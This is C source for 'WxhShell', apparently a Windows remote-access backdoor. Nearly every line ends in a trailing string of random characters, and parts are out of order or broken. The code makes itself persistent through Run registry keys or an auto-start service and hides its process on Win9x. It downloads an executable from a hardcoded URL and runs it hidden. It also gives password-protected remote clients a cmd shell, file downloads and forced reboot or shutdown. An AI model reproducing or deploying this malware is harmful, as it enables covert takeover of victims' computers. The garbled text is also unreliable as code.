  // 关机 2wU,k(F_  
  case 'd': { }`whg8 fZ  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 'o]}vyz;  
    if(Boot(SHUTDOWN)) 4xx?x/q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6wiuNGZb  
    else { bAY >o  
    closesocket(wsh); #;2mP6a[  
    ExitThread(0); cL %eP.  
    }  ">|L<  
    break; w#(E+s~}  
    } 9MRe?  
  // 获取shell {KqW<X6Hp  
  case 's': { ld~*w  
    CmdShell(wsh); 5k_%%><: q  
    closesocket(wsh); IL8&MA%  
    ExitThread(0); w4y ???90)  
    break; 4>=Y@z  
  } '@^<c#h]=  
  // 退出 aLevml2:T  
  case 'x': { j~2t^Qz  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); -J!k|GK#MX  
    CloseIt(wsh); Iq;a!Lya-  
    break; #$t93EI  
    } KG5B6Om5'  
  // 离开 ng2yZ @$  
  case 'q': { 78z/D|{"  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); D//Ts`}+n  
    closesocket(wsh); My9fbT  
    WSACleanup(); q[Y* .%~  
    exit(1); YWhS<}^  
    break; 1p>&j%dk  
        } kJXy )  
  } @(st![i+  
  } Q!Dr3x  
Izfj 9h ?  
  // 提示信息 +DT)7 koA  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); xI=[=;L  
} #5kg3OO  
  } [aC2ktI  
h1_KZ[X  
  return; jK=-L#hz  
} d~d~Cd`V  
]s_BOt  
// shell模块句柄 a67NWH  
int CmdShell(SOCKET sock) Xo4K!U>TzZ  
{ fl9J  
STARTUPINFO si; N'5!4JUI  
ZeroMemory(&si,sizeof(si)); %}~Ncn_r  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 0Ioa;XgOn  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ]\R%@FCYc  
PROCESS_INFORMATION ProcessInfo; [k +fkr]  
char cmdline[]="cmd"; bDcWPwe  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); bO{wQ1)Z_  
  return 0; W{'tS{  
} ! +Hc(i  
!Ys.KDL  
// 自身启动模式 x:Tm4V{  
int StartFromService(void) Ps MCs|*  
{ Qgv-QcI{  
typedef struct /Big^^u  
{ QXT *O  
  DWORD ExitStatus; oY%NDTVN  
  DWORD PebBaseAddress; s2+s1%^Ll  
  DWORD AffinityMask; H"g p  
  DWORD BasePriority; ,e>N9\*  
  ULONG UniqueProcessId; (OK;*ZH+T@  
  ULONG InheritedFromUniqueProcessId; 0jwex  
}   PROCESS_BASIC_INFORMATION; i%_nH"h  
n47v5.Wn  
PROCNTQSIP NtQueryInformationProcess;  #`2*V  
+l$BUX  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ;,]Wtmu)7  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ~); 7D'[  
;i&'va$  
  HANDLE             hProcess; Zz04Pz1  
  PROCESS_BASIC_INFORMATION pbi; Qjh @oWT  
A[oxG;9xi  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); *FUbKr0  
  if(NULL == hInst ) return 0; aV8]?E5G  
AUAJMS!m  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); $'VFb=?XrK  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); wg,w;Gle  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); <[GkhPfZ  
-i?-Xj#%  
  if (!NtQueryInformationProcess) return 0; !n/"39KT  
S-6 %mYf  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); :u53zX[v  
  if(!hProcess) return 0; Q<pL5[00fD  
6jtnH'E/  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Ol]+l]  
5Y97?n+6  
  CloseHandle(hProcess); jz;"]k  
Dos`lh  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); F\;G'dm  
if(hProcess==NULL) return 0; HI30-$9  
A|d(5{:N  
HMODULE hMod; ;HeUD5Nt6F  
char procName[255]; /g!', r,  
unsigned long cbNeeded; 'e>0*hF[  
7].FdjT.  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ZtfPB  
3 tp'}v  
  CloseHandle(hProcess); T/&4lJ^2l^  
4`7:gfrO,  
if(strstr(procName,"services")) return 1; // 以服务启动 h~ =UFE%'  
]MP6VT  
  return 0; // 注册表启动 @ zE>n  
} x;Jy-hMNl  
xV4 #_1(  
// 主模块 _ZfJfd~  
int StartWxhshell(LPSTR lpCmdLine) rBZ 0(XSZQ  
{ FHS6Mk26  
  SOCKET wsl; y  ZsC>  
BOOL val=TRUE; n_51-^* z  
  int port=0; 64>o3Hb2  
  struct sockaddr_in door; /-l7GswF  
$;dSM<r  
  if(wscfg.ws_autoins) Install(); ]I#yS=;  
Tn qspS2;R  
port=atoi(lpCmdLine); =5jX#Dc5.+  
qffXm `k  
if(port<=0) port=wscfg.ws_port; 8I'c83w  
w#5^A(NR  
  WSADATA data; S]3t{s#JW7  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; y#Ao6Od6  
^U.8grA  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Y\ len  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); bCF"4KXK  
  door.sin_family = AF_INET; [g:ZIl4p\P  
  door.sin_addr.s_addr = inet_addr("127.0.0.1");  # xS8  
  door.sin_port = htons(port); Bp`?inKBOd  
 c6;tbL  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Ii /#cdgF  
closesocket(wsl); ,tZWPF-  
return 1; Uzb~L_\Rmt  
} MGd 7Ont  
&C+pen) Z  
  if(listen(wsl,2) == INVALID_SOCKET) { .R` {.~_{!  
closesocket(wsl); eFUJASc  
return 1; wTGH5}QZ+  
} 7W6tz\Y  
  Wxhshell(wsl); $4y;F]  
  WSACleanup(); $e7dE$eH  
!PI& y  
return 0; eEkF Zx  
CCOd4  
} 7Xi)[M?)#  
{mK=Vig  
// 以NT服务方式启动 ~1Q$FgLk  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 8M;VX3X  
{ G_{x)@  
DWORD   status = 0; p*8LS7UT  
  DWORD   specificError = 0xfffffff; V6Y:l9  
|~Hlv^6H  
  serviceStatus.dwServiceType     = SERVICE_WIN32; w^?uBeqR  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; T<"Hh.h  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; C{<qc,!4  
  serviceStatus.dwWin32ExitCode     = 0; [ 44d(P'  
  serviceStatus.dwServiceSpecificExitCode = 0; -aPvls   
  serviceStatus.dwCheckPoint       = 0; `g&<7~\=A  
  serviceStatus.dwWaitHint       = 0; y_:i'Ri.  
E4aCL#}D  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); q/[)Z @&(  
  if (hServiceStatusHandle==0) return; QXnL(z  
6u`E{$  
status = GetLastError(); , [xDNl[Y|  
  if (status!=NO_ERROR) L<encPJt  
{ cTpAU9|(  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; =l TV2C<  
    serviceStatus.dwCheckPoint       = 0; qr[H0f]  
    serviceStatus.dwWaitHint       = 0; xJ)hGPrAl  
    serviceStatus.dwWin32ExitCode     = status; y|1,h}H^n  
    serviceStatus.dwServiceSpecificExitCode = specificError; (-tF=wR,W  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); \e64Us>"x  
    return; 00 Qn1  
  } w:P$ S  
y{ReQn3> y  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; @sRUl ,M;Z  
  serviceStatus.dwCheckPoint       = 0; u;m[,  
  serviceStatus.dwWaitHint       = 0; U)%gzXTZ%  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); x'OE},>i  
} s_A<bW566F  
/(Se:jH$>  
// 处理NT服务事件,比如:启动、停止 L$^ya%2  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 7RQ.oee  
{ *P,dR]-m  
switch(fdwControl) pZx'%-\-T  
{ ORhe?E]  
case SERVICE_CONTROL_STOP: 5_@ u Be~  
  serviceStatus.dwWin32ExitCode = 0; sBGYgBu!a  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Ly1V@  
  serviceStatus.dwCheckPoint   = 0; p.kJNPO\@  
  serviceStatus.dwWaitHint     = 0; #E%0 o  
  { LwQq0<v  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); r]p 0O(  
  } (a0q*iC%  
  return; C~IsYdln  
case SERVICE_CONTROL_PAUSE:  -z9-f\  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 4hb<EH'_&  
  break; X(nbfh?n  
case SERVICE_CONTROL_CONTINUE: I;]Q}SUsm  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; S3rN]!B+  
  break; qi7(RL_N  
case SERVICE_CONTROL_INTERROGATE: =c 3;@CO  
  break; ^sR]w]cz.  
}; Nf(Np1?;c  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); !iBe/yb  
} Sq"O<FmI  
#?/&H;n_8S  
// 标准应用程序主函数 [EUp4%Z #  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) BFP (2j  
{ f$vWi&(  
9~8 A>  
// 获取操作系统版本 MYgh^%w:  
OsIsNt=GetOsVer(); 5 Z+2  
GetModuleFileName(NULL,ExeFile,MAX_PATH); $Fx:w  
:r%H sur(  
  // 从命令行安装 <smi<syx  
  if(strpbrk(lpCmdLine,"iI")) Install(); 41f4zisZ  
?}4 =A&][  
  // 下载执行文件 *GxOiv7"4W  
if(wscfg.ws_downexe) { a g Za+a  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) xxWrSl`fB  
  WinExec(wscfg.ws_filenam,SW_HIDE); /XtpGk_1)  
} $e66jV  
n#,<-Rb-  
if(!OsIsNt) { =SJwCT0;  
// 如果时win9x,隐藏进程并且设置为注册表启动 #w\Bc\  
HideProc(); d4OWnPHv&}  
StartWxhshell(lpCmdLine); ck-ab0n  
} 2%Bq[SMuN  
else +X)n}jh  
  if(StartFromService()) d1YE$   
  // 以服务方式启动 * 7: )k  
  StartServiceCtrlDispatcher(DispatchTable); bvY'=   
else !QK ~l  
  // 普通方式启动 *7.EL`8  
  StartWxhshell(lpCmdLine); 5ve4u  
<xOv0B  
return 0; T~B'- >O  
} ^fVLM>p<;  
N|cWTbi  
>_3+s~  
2$8#ePyq*  
=========================================== (#6E{@eq  
2 MFGKzO  
*~b3FLzq  
n3w(zB  
Q"UWh~  
29P vPR6  
" $6\-8zNk  
H"hL+F^  
#include <stdio.h> a%f?OsY  
#include <string.h> 'Oyx X  
#include <windows.h> OnGtIY  
#include <winsock2.h> f( (p\ &y  
#include <winsvc.h> 8SmtEV[b3  
#include <urlmon.h> HF@K$RPK  
3,qq\gxB  
#pragma comment (lib, "Ws2_32.lib") 99Jk<x k  
#pragma comment (lib, "urlmon.lib") 4 j9  
@.T w*t  
#define MAX_USER   100 // 最大客户端连接数 lLD-QO}/  
#define BUF_SOCK   200 // sock buffer nNe`?TS?f  
#define KEY_BUFF   255 // 输入 buffer uM3F[p%V^  
!Gwf"-TQ  
#define REBOOT     0   // 重启 P $4h_dw  
#define SHUTDOWN   1   // 关机 X ?p_O2#k  
y>+xdD0 +  
#define DEF_PORT   5000 // 监听端口 _y~H#r9:  
=*f>vrme  
#define REG_LEN     16   // 注册表键长度 WH Zz?|^  
#define SVC_LEN     80   // NT服务名长度 +QS7F`O  
Efo,5  
// 从dll定义API z:PH _N~  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); PVBf'  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); y?BzZ16\bL  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); "X/cG9Lw  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); zPwU'TbF  
['F,  
// wxhshell配置信息 G/tah@N[7  
struct WSCFG { rSTc4m1R  
  int ws_port;         // 监听端口 4fe$0mye  
  char ws_passstr[REG_LEN]; // 口令 /($!("b  
  int ws_autoins;       // 安装标记, 1=yes 0=no cI#2MjL  
  char ws_regname[REG_LEN]; // 注册表键名 |E+tQQr%'  
  char ws_svcname[REG_LEN]; // 服务名 v]*(Wd~|  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 FS.z lk\D=  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 J:M)gh~#  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 9A]XuPAlh  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Bsm>^zZ`YU  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" $)OUOv  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 mi~ BdBv  
79J@`  
}; 0(9]m)e  
N7lWeF  
// default Wxhshell configuration LM_/:  
struct WSCFG wscfg={DEF_PORT, Pw4j?pv2  
    "xuhuanlingzhe", p_hljgOV  
    1, t(SSrM]  
    "Wxhshell", mPR(4Ol.  
    "Wxhshell", t >89( k  
            "WxhShell Service", 1c=Roiq  
    "Wrsky Windows CmdShell Service", xJ"CAg|B  
    "Please Input Your Password: ", p{:r4!*L  
  1,  o^59kQT  
  "http://www.wrsky.com/wxhshell.exe", =m@5$  
  "Wxhshell.exe" f3h&K}x  
    }; \R& 4Nu2F  
8.e k_ r  
// 消息定义模块 "P:kZ= M Q  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; s^_E'j$  
char *msg_ws_prompt="\n\r? for help\n\r#>"; }`/wj  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; )N QtjB$  
char *msg_ws_ext="\n\rExit."; h3^ &,U  
char *msg_ws_end="\n\rQuit."; -la~p~8  
char *msg_ws_boot="\n\rReboot..."; U:]b&I  
char *msg_ws_poff="\n\rShutdown..."; l 6.#s3I['  
char *msg_ws_down="\n\rSave to "; Ov{fO  
bTzVmqGY  
char *msg_ws_err="\n\rErr!"; s)]Z*#ZZ  
char *msg_ws_ok="\n\rOK!"; M,[u}Rf^w  
(]BZ8GOx  
char ExeFile[MAX_PATH]; <@C Bc:j0  
int nUser = 0; 9E{Bn#  
HANDLE handles[MAX_USER]; eK"B.q7  
int OsIsNt; 5G8`zy  
Z-m,~Hh  
SERVICE_STATUS       serviceStatus; ]y 6`9p  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; fTi,S)F'  
Xq&x<td  
// 函数声明 zE V J  
int Install(void); t`{^gt  
int Uninstall(void); sV7dgvVd  
int DownloadFile(char *sURL, SOCKET wsh); lj"L Q(^  
int Boot(int flag); P=& Je?  
void HideProc(void); Y^gK^ ?K  
int GetOsVer(void); C]UBu-]#S  
int Wxhshell(SOCKET wsl); LX.1]T*m`  
void TalkWithClient(void *cs); t" 1'B!4  
int CmdShell(SOCKET sock); ak50]KYo  
int StartFromService(void); `+b>@2D_  
int StartWxhshell(LPSTR lpCmdLine); +j5u[X  
"r0z( j  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 1QRE-ndc  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); P9J3Ii!  
RM53B  
// 数据结构和表定义 78tWzO  
SERVICE_TABLE_ENTRY DispatchTable[] = ZNPzQ:I@  
{ vCwDE~  
{wscfg.ws_svcname, NTServiceMain}, 8eP2B281  
{NULL, NULL} "fLGXbNQ  
}; [d!C6FT  
@18@[ :d"  
// 自我安装 xM%E;  
int Install(void) {xt<`_R  
{ yy?|q0  
  char svExeFile[MAX_PATH]; ] K7>R0  
  HKEY key; ?Gl'-tV  
  strcpy(svExeFile,ExeFile); EU,4qO  
6<H[1PI`,G  
// 如果是win9x系统,修改注册表设为自启动  1$idF  
if(!OsIsNt) { 32:,g4!~6  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { W0$G 7 s  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); xtjTU;T  
  RegCloseKey(key); 9Q :IgY?T  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { o]#Q6J  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); !mL,Ue3/  
  RegCloseKey(key); ac.O#6&  
  return 0; h`%K \C  
    } 14\%2nE  
  } .]ZM2  
} i`r,B`V`08  
else { f7X#cs)a  
&tZ?%sr  
// 如果是NT以上系统,安装为系统服务 UA,&0.7  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); MCQ>BP  
if (schSCManager!=0) @Risab n  
{ U6X~]|o  
  SC_HANDLE schService = CreateService xpyb&A  
  ( *NV`6?o@6  
  schSCManager, K_`*ZV{r  
  wscfg.ws_svcname, )F? 57eh  
  wscfg.ws_svcdisp, P0Na<)\'Y!  
  SERVICE_ALL_ACCESS, (W+9 u0Zq  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , `ea$`2  
  SERVICE_AUTO_START, wRPBJ-C)  
  SERVICE_ERROR_NORMAL, 1s\10 hK1c  
  svExeFile, /db?ltb  
  NULL, (uOW5,e7  
  NULL, O)Nt"k7 b  
  NULL, fokT)nf~^8  
  NULL, 8)rv.'A((E  
  NULL (Wq9YDD@  
  ); joDfvY*[  
  if (schService!=0) K@n.$g  
  { NOx&`OU+  
  CloseServiceHandle(schService); /BT;Q)( &  
  CloseServiceHandle(schSCManager); kRiWNEw  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); C4Z~9fzT  
  strcat(svExeFile,wscfg.ws_svcname); T<54qe4`p  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { a\}|ikiE  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); e%bER ds  
  RegCloseKey(key); CR934TE+  
  return 0; (%#d._j>fZ  
    } |@nvg>mu  
  } e+y< a~N  
  CloseServiceHandle(schSCManager); 4Bx1L+Cg  
} (6+6]`c$  
} 8fM}UZI  
@hzQk~Gdi  
return 1; S$+ v?Y`)  
} Ynz^M{9)K  
10#!{].#x  
// 自我卸载 ts;_T..L  
int Uninstall(void) ";s5It  
{ )SA$hwR  
  HKEY key; c;U\nC<Y  
*~!xeL  
if(!OsIsNt) { $:u,6|QsS=  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 2Fx<QRz  
  RegDeleteValue(key,wscfg.ws_regname); 18[f_0@ #  
  RegCloseKey(key); f=K1ZD  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { :VN<,1s9p^  
  RegDeleteValue(key,wscfg.ws_regname); Od&M^;BQ  
  RegCloseKey(key); WKah$l  
  return 0; nNhN:?  
  } 8~HC0o\2  
} b V9Z[[\  
} >.{ ..~"K  
else { (X!/tw,.  
p~8~EQFj  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 3]N}k|lb%  
if (schSCManager!=0) M8[YW|VkP  
{ @O45s\4-*  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); hsqUiB tc6  
  if (schService!=0) W$'pUhq\H  
  { C9=f=sGL  
  if(DeleteService(schService)!=0) { J$e.$ah;  
  CloseServiceHandle(schService); MT6kJDyLu  
  CloseServiceHandle(schSCManager); ,o9)ohw  
  return 0; !5B9:p~-  
  } Vj2GK"$v  
  CloseServiceHandle(schService); r`;C9#jZ  
  } Z$ftG7;P0  
  CloseServiceHandle(schSCManager); ^7"%eWT`  
} raqLXO!j  
} 3$Is==>7  
21o_9=[^  
return 1; E*w 2yWR  
} /t>o -  
c<D Yk f  
// 从指定url下载文件 k oHY AF  
int DownloadFile(char *sURL, SOCKET wsh) 8fe"#^"sR  
{  g u|;C  
  HRESULT hr; _O!D*=I  
char seps[]= "/"; >}4]51s  
char *token; Q}=RG//0*  
char *file; 3Aj_,&X.@(  
char myURL[MAX_PATH]; c%Gz{':+  
char myFILE[MAX_PATH]; eGTK^p  
8PEOi  
strcpy(myURL,sURL); g rfF\_[:  
  token=strtok(myURL,seps); 1)YFEU&]  
  while(token!=NULL) gZ+I(o{  
  { %ly;2H Ik  
    file=token; lwY{rWo  
  token=strtok(NULL,seps);  Nl_;l  
  } j}VOr >xz  
<khx%<)P  
GetCurrentDirectory(MAX_PATH,myFILE); vlPE8U=  
strcat(myFILE, "\\");  *$cp"  
strcat(myFILE, file); :jUuw:\  
  send(wsh,myFILE,strlen(myFILE),0); YAPD7hA  
send(wsh,"...",3,0); l?R_wu,Q  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 0l:5hD,)F  
  if(hr==S_OK) eXOFAd]>u  
return 0; (C3d<a\:  
else (D l"s`UH~  
return 1; bv+e'$U3  
@[FFYVru  
} UpIf t=@P  
u}:O[DG  
// 系统电源模块 Tb)x8-0  
int Boot(int flag) {30<Vc=  
{ CYn}wkz  
  HANDLE hToken; p|FX_4RjX  
  TOKEN_PRIVILEGES tkp; O#EBR<CuK  
ZGbZu  
  if(OsIsNt) { <+$S{Z.  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); E1C8yIF  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); >WDpBn:  
    tkp.PrivilegeCount = 1; gK<-*v  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; h4qR\LX  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); gU~)(|Nu.  
if(flag==REBOOT) { up1aFzY|6x  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) # _7c>gn  
  return 0; %nCUct@c  
} ?hmb"^vlG  
else { @s@  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 1(?J>{-lw  
  return 0;  \1MDCP9:  
} +,-r b  
  } dXDD/8E  
  else { <R(2 9QN  
if(flag==REBOOT) { [T%blaSX  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) @TprS d  
  return 0; =B:poh[u  
} EK#m?O:>  
else { kC k-  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Y{yr-E #~M  
  return 0; AFFLnLA<L  
} }M7kApb>Y  
} .UYpPuAkn  
w7D:0SGD  
return 1; 6,)y{/ENC  
} 2)A D'  
S|J8:-  
// win9x进程隐藏模块 bVx]r[  
void HideProc(void) mTPj@F>  
{ CHU'FSq!  
**q/'K  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); %PS-nF7v  
  if ( hKernel != NULL ) h+W^k+~(  
  { bS'r}  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); )q^vitkjup  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 10J*S[n1  
    FreeLibrary(hKernel); (J4utw Z  
  } %:,=J  
d<Os TA  
return; !LJ.L?9qw  
} J50 ~B3bj`  
%_[-[t3  
// 获取操作系统版本 9y5 \4&v  
int GetOsVer(void) ]x G8vy  
{ yq}{6IyZ^  
  OSVERSIONINFO winfo; DPwSg\*)  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); #'8PFw\zw  
  GetVersionEx(&winfo); SIl g  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) BQU5[8l  
  return 1; nX~MoWH1  
  else Tpukz_F  
  return 0; c7F&~RLC  
} .vv*bx   
*lK4yI*%o  
// 客户端句柄模块 fh_ .J[Y.k  
int Wxhshell(SOCKET wsl) kOCxIJ!Xp=  
{ /pU6trIM  
  SOCKET wsh; m%[t&^b}T  
  struct sockaddr_in client; PNKT\yd  
  DWORD myID; z6lz*%Yi  
j;v%4G  
  while(nUser<MAX_USER) dM UDLr-  
{ `X='g96C1  
  int nSize=sizeof(client); tD]&et  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 32iI :u  
  if(wsh==INVALID_SOCKET) return 1; JF*g!sV%  
f}X8|GlBo  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); m-89nOls  
if(handles[nUser]==0) 6p " c ^  
  closesocket(wsh); hU 7fZl%yl  
else ]M(mq`K  
  nUser++; 9oP{Al  
  } *d@Hnu"q  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); /[? F1Q  
~vGtNMQg  
  return 0; =%\6}xPEl<  
} EKPTDKut  
;J(,F:N  
// 关闭 socket +q/h:q.TV  
void CloseIt(SOCKET wsh) Qu,k  
{ jw[BtRW  
closesocket(wsh); *Zi%Q[0Me  
nUser--; p'uz2/g  
ExitThread(0); $ rYS   
} tb0E?&M  
CFm1c1%Hg  
// 客户端请求句柄 HY4E  
void TalkWithClient(void *cs) Pp_3 n yQ  
{ nb_^3K]r  
2<G1'7)  
  SOCKET wsh=(SOCKET)cs; CS\tCw\Y  
  char pwd[SVC_LEN]; C 94@YWs  
  char cmd[KEY_BUFF]; Qc;[mxQe  
char chr[1]; `4H9f&8(  
int i,j; A_Iu*pz^^  
51 0XDl~b  
  while (nUser < MAX_USER) { A{I a21T7  
8 tygs  
if(wscfg.ws_passstr) { [ 5W#1 &  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 9r nk\`E  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); em [F|  
  //ZeroMemory(pwd,KEY_BUFF); "O[76}I+.q  
      i=0; L"h@`3o|  
  while(i<SVC_LEN) { h.$__Gs  
ky[Xf -9#  
  // 设置超时 .crM!{<Y  
  fd_set FdRead; kc'0NE4oq  
  struct timeval TimeOut; %Z[/U  
  FD_ZERO(&FdRead); 1MI7l)D?  
  FD_SET(wsh,&FdRead); 5^K#Tj ;2  
  TimeOut.tv_sec=8; fq'Xy9L  
  TimeOut.tv_usec=0; A dEbyL  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); @JEmybu  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 'UVv(-  
@CU|3Qg  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 4spaw?j  
  pwd=chr[0]; nRB>[lG  
  if(chr[0]==0xd || chr[0]==0xa) { $Oe58  
  pwd=0; %s2"W~  
  break; ; Uqx&5P}  
  } g#b u_E61B  
  i++; X$ B]P 7G7  
    } k!/ _/^{  
2c~?UK[1  
  // 如果是非法用户,关闭 socket ^i+ z_%V  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh);  g1wI/  
} zQ5jx5B":  
O;0<^M/0G  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); H='9zqYZ<W  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 6IY}SI0N  
6L2*gO:r?  
while(1) { NhK(HTsvK  
*:T>~ilF  
  ZeroMemory(cmd,KEY_BUFF); s`iNbW="  
<W51oO  
      // 自动支持客户端 telnet标准   ^q&wITGI  
  j=0; )fMX!#KP  
  while(j<KEY_BUFF) { @=0r3  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); V2s}<uG  
  cmd[j]=chr[0]; gQh Ccv  
  if(chr[0]==0xa || chr[0]==0xd) { K%c ATA3  
  cmd[j]=0; +Bq}>  
  break; ]X: rby$  
  } R_Gq8t$  
  j++; !+A"Lej  
    } ^?X ^+  
j t`p<gI  
  // 下载文件 {#*?S>DA  
  if(strstr(cmd,"http://")) { "26B4*  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); '^ e/F)0  
  if(DownloadFile(cmd,wsh)) @CaD8%j{  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); B~!G lT  
  else ]tQDk4&i  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);  6I cM:x  
